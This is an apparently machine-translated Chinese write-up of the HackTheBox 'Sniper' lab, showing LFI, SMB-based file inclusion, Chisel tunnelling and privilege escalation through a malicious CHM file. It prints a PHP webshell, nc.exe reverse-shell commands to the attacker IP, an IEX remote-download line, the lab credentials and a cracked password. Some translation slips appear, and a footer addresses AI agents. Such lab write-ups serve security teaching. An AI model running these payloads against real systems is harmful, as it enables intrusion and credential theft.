> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md).

# Sniper HackTheBox 复现

Sniper HackTheBox 中等难度 Windows 靶机复现，涵盖本地文件包含（LFI）、远程文件包含（RFI）（失败）、通过 SMB 服务器的远程文件包含（net usershare 技巧）（成功）

{% embed url="<https://app.hackthebox.com/machines/211>" %}

{% hint style="warning" %}
技能：

* 本地文件包含（LFI）
* 远程文件包含（RFI）（失败）
* 通过 SMB 服务器的远程文件包含（net usershare 技术）（成功）
* 创建 webshell 并实现远程命令执行（RCE）
* 信息泄露（用户权限提升）
* 使用 Invoke-Command 结合 Chisel 和 ScriptBlocks
* 创建恶意 CHM 文件（Out-CHM.ps1）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b6915b94d27c4eb318bb317a73b39600762c4cd%2F%7BFDDC6D48-0A83-472B-97D2-D6A5435D14DB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13d9ebdae73de7486675a6b3976efd0eb51231fb%2Fimage%20(2481).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d9d333f2c9efa3cade1b43e7c99b624921d68b%2F%7B58A19F4B-5FC2-44C6-8072-DD60D1D58649%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并复制到剪贴板。（80,135,139,445,496,67）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2704e5557c18309c801c5be29649d87d029abd1%2F%7BA9AC10F6-49A6-48B5-BE8C-704DC359D9E6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-369f97c376a352dcecd0ad895e54166b63cbb04f%2F%7B5C4B5ADC-0CB1-4C63-A2FC-152E99EEA0E7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 80 端口：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38ff6b874ca4bbffedfdadd9923ff89d3597331a%2F%7BA46BCCC8-15D5-4B86-BF5D-77D3D6A3777A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用……进行分析 `whatweb`:**

我们使用了 `whatweb` 来识别 Web 服务器使用的技术：

{% code overflow="wrap" fullWidth="false" %}

```bash
whatweb 10.10.10.151
http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]
```

{% endcode %}

## **LFI 漏洞：**

在语言切换页面上，有一个 `lang` 用于根据所选语言加载不同 PHP 文件的参数。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba81e253c257b72b3cd3df15d59995994eac3938%2Fimage%20(2483).png?alt=media" alt="" width="366"><figcaption></figcaption></figure>

我们使用本地系统文件进行了测试：

```url
http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts
```

* 这使我们能够显示以下内容： `hosts` 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aae1a3f300054bff149c9f79b10b3715b74b0b1%2F%7BCC466D14-D0E1-4C0A-BB7B-AEB791A681CB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 `php://filter`:**

我们尝试使用 LFI 读取 `index.php` 位于 `/inetpub/wwwroot/index.php`中的 Microsoft IIS Web 服务器文件， `php://filter` 但通过

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f6952fbeb4aeaed806b4b5c302123c6281ffd29%2F%7BAEB894E3-AD72-4E6B-93DA-220BA22330D4%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

```url
php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d26389be7361c43d2f2dd11b32b5f7b1441a0a%2F%7B0D4D16A0-7B64-4E4E-8675-A9F2ADF10280%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 远程文件包含（RFI）（失败）

#### 通过远程 Web 服务器进行 RFI 测试：

我们尝试通过 `?lang=http://10.10.14.3/index.html` URL 加载远程文件，指向我们用 Python3 搭建的本地 Web 服务器。

```bash
python3 -m http.server 80
```

```url
?lang=http://10.10.14.3/index.html
```

但没有成功。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c972571255d4270db5870c0386e2d19446b3217%2F%7B264F5A3B-1949-4DF5-A1B7-C15A83A37390%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>

## 远程文件包含（SMB 服务器）

**创建 SMB 服务器：**

我们使用 `smbserver.py` 创建了一个本地 SMB 服务器，并共享当前目录：

```bash
smbserver.py share $(pwd) -smb2support
```

然后我们尝试通过修改以下参数从 SMB 服务器加载文件： `lang` 参数

```bash
?lang=/10.10.14.3/share/index.html
```

* 这次服务器正确解析了我们的 `index.html` 文件，并显示其内容（“Hello World”）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b299bc3d7f0a2787f429db429a43a5716cafff59%2Fimage%20(2484).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**创建一个 PHP webshell 文件（`cmd.php）`**

我们创建了一个 `cmd.php` 位于我们 SMB 服务器上的文件，以通过 `cmd` 参数存在开放重定向漏洞：

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

/*/* 通过 SMB/进行命令执&#x884C;*/*

```bash
//10.10.14.3/share/cmd.php&cmd=<command>
```

使用以下 URL，我们执行了 `whoami` 命令：

```bash
//10.10.14.3/share/cmd.php&cmd=whoami
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-401653792fb5d99d8b43d1b66c01a3c526766e0b%2Fimage%20(2485).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 反向 Shell（nc.exe）

**下载 `nc.exe` 用于反向 Shell：**/ 我们找到了 `nc.exe` 位于正在运行的工具中的二进制文件 `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` 并将其复制到工作目录。

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

**监听 443 端口：**/ 我们使用……设置了一个监听器 `nc` 以监听 443 端口：

```bash
rlwrap nc -nvlp 443
```

**通过 SMB 执行反向 Shell：**/ 然后我们通过将 `cmd` 参数指向我们的文件

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443
```

因此我们获得了一个反向 Shell 连接到我们的机器。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-219834e61616dd01b70028fc6d4d70935b8cf3b0%2F%7B54444252-CE2B-492D-8A2D-7B143D3AB383%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

**搜索敏感文件：**/ 我们在 PHP 文件中搜索敏感信息，并找到了 `db.php` 包含数据库凭据的文件：

* 用户： `dbuser`
* 密码： `36mEAhz/B8xQ~2VM`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b7d5f894b790e654823bbff405ccff335e56fb4%2Fimage%20(2486).png?alt=media" alt=""><figcaption></figcaption></figure>

**验证另一用户的凭据：**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee4fec3cbeac4d8833f5b2a07b9071a06e70e602%2Fimage%20(2487).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

我们发现了另一名名为 **Chris** ，除了用户 **管理员**。我们使用了 **CrackMapExec** 来验证 `Chris` 凭据是否有效：

```bash
crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* 连接成功。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d2b6fb4c68868d7e92cda08e40e05d2929918d0%2Fimage%20(2488).png?alt=media" alt=""><figcaption></figcaption></figure>

**验证用户“Chris”的权限：**

* 我们观察到该用户 `Chris` 属于 **远程管理用户** 组，因此可以远程连接。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5512fcc7d80b6b4bb69d10ee00bfbe05f8264f22%2Fimage%20(2489).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

/*/* 开放端口分析：/*/*

远程连接所需的端口（WinRM 使用的 5985 端口）未在外部开放，而是内部开放。我们使用了 `netstat` 来检查目标机器上的监听端口：

```bash
netstat -an | findstr "LISTEN"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecfb4852b3a69880b17a0f8e0eb1b0d9c4277453%2Fimage%20(2490).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 端口转发（5985 WinRM）

### 1. PowerShell

我们在攻击机上启动了 PowerShell：

```bash
powershell
```

我们使用以下命令获取了 Windows 环境的名称 `hostname`，并发现主机名是 `狙击手`.

```powershell
hostname
```

然后我们为用户创建了一个变量 `Chris` 并使用 `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

然后我们创建了一个 `PSCredential` 对象，以便在目标机器上执行远程命令：

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**远程控制执行：**/ 我们使用以下命令运行 `whoami` 远程执行并验证访问：

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* 这使我们确认已成功以 **Chris**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0135fe9e7c807d77b3551354ec1c94572cf7ca0d%2F%7BC164E196-15F9-47E9-8181-332E588D62FD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**反向 Shell：**/ 为了获得对系统的完整访问，我们在 4444 端口设置了监听器：

```bash
rlwrap nc -nlvp 4444
```

然后我们使用 `nc.exe` 从我们的 SMB 服务器：

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99c89f22dcac66e737d1273b2348e8a191165c7c%2Fimage%20(2491).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 2. Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**下载并准备文件：**/ 我们下载了压缩的 **Chisel** 文件，即：

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

解压后，我们将 **Chisel** Windows 文件传输到目标机器：

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d526647ace8cb7f952d5af57ecbf78da978c6211%2Fimage%20(2493).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Chisel 在攻击机上进行隧道转发：**/ 我们启动了 **Chisel** 在攻击机的 8888 端口上以服务器模式：

```bash
./chisel-linux server -p 8888 -reverse
```

然后，在目标 Windows 机器上，我们执行了 **Chisel** 以客户端模式连接到我们的攻击机，并将 5985 端口重定向到我们的机器：

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-438d6ad367a6619e2fe2763af5ebc98ca1ea9fa4%2F%7B67FDA5FA-CB70-4448-A6D8-C4DFFDA14342%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用以下工具验证重定向后的端口： `lsof`:**/ 我们使用以下命令检查 5985 端口在重定向后是否正常：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c7b4eaa07406f6667566789036aa68d2536bb0d%2Fimage%20(2494).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 WinRM 登录：**/ 我们使用了 **CrackMapExec** 来测试通过 **WinRM** 在重定向的 5985 端口上连接：

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* 我们得到了符号 **已攻陷**，这证实我们已成功通过 WinRM 访问该机器。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7fbecdfef69471669790d99c4e16d51399c5d8e%2F%7B7D3C96BD-38E1-4A27-ABBD-256E01F7E278%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Evil-WinRM 的最终连接：**/ 最后，我们使用 **Evil-WinRM** 来获取一个远程 Shell，身份为 **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62860bda2173707fcb8ff5e3350438efec6ba5d9%2F%7B28DB7A19-C223-4B29-9A72-A37E0D642FA8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**探索“docs”目录：**/ 在……的根目录中 **Windows**，我们找到了一个文件夹 **docs** ，其中包含一个 `note.txt` 文件，内容如下：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f27d8c2d5253a54b9a504d899e563939f0bade2%2Fimage%20(2495).png?alt=media" alt=""><figcaption></figcaption></figure>

> 嗨，Chris，
>
> 你的 PHP 技能真的很差。联系 Yamitenshi 教你怎么用，然后修复网站，因为上面有很多 bug。我也希望你已经为我们的新应用准备好了文档。做完后把它放到这里。
>
> 此致，/ Sniper CEO。

**在系统中搜索文档：**/ 我们查找了 CEO 提到的文档，并在以下位置找到了它： **Downloads** 目录中的 **instructions.chm** 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96260baa7b6d285ec416c3ea8661fab8ac19d188%2Fimage%20(2496).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **恶意 CHM 文件创建：**

在发现 CEO 想要查看 **CHM** 文件在 **docs** 目录中后，我们上网查找如何创建恶意 CHM 文件。

{% embed url="<https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1>" %}

**下载 HTML Help 工具：**/ 我们下载了 **HTML Help** 并使用一个 PowerShell 脚本创建恶意 CHM 文件

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1')
```

然后我们修改脚本，通过以下方式执行远程恶意命令： **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-14e3664ea5513e709b0a1b28a5531ea3e5821454%2F%7B94D63DBE-CA13-43CE-A16C-513DF8654BA6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee38606559c9f59c21d8f14ecf8ed3815b35f0ec%2F%7BD4FF2C78-CD9D-40A8-9E2F-1A38954D0959%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**将恶意 CHM 文件注入目标目录：**/ 我们在攻击机上配置了一个 SMB 服务器，将恶意文件传输到目标 Windows 机器：

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234
```

/*/* 从受害机器连接到 SMB 共享：/*/*/ 在目标 Windows 机器上，我们挂载了 SMB 共享并复制了恶意的 `doc.chm` 文件：

```powershell
net use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm
```

**等待反向 Shell：**/ 我们在攻击机上启动了监听器，等待反向 Shell 连接：

```bash
rlwrap nc -nlvp 443
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f26e0b7e81bef0ff65663f9f3f845cb6fd46580%2Fimage%20(1033).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50bebdbafaa2aa8f8b1a0c465de76c2405e881a1%2Fimage%20(1034).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

/*/* 遇到的问题：/*/*/ 尽管 CHM 文件已被查看，但我们没有收到反向 Shell。不过，我们成功捕获了一个 **SMB Relay V2** 在我们的服务器上。这为我们提供了用户的认证哈希 `管理员`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3efb1c6763f54e56ba7bcef32d7ba7dc50cc371e%2Fimage%20(1035).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **破解管理员哈希：**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`Administrator:butterfly!#1`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df397d07c9e785acfd58ad1d5315200cb80fe643%2F%7B207D90E0-6246-48CB-B5FF-80F5B9BAC1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **以管理员身份登录：**

使用获取到的凭据，我们使用了 **Evil-WinRM** 以管理员身份连接到该机器：

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8478e0d89721e97efd4efa65a38a2c8c690a711d%2F%7B04376DF4-AFFA-473A-8C14-35B3800CE43C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c2c9ca17923aca1a90c4e2ed9cb52b988809e6a%2F%7B9A1DEF2C-6F87-486F-A2BB-88638E7F7E14%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-443079a66730b12d7a8288bfca59c0d51e952885%2F%7B1755EF50-6634-4549-81C9-9BC735645AD6%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
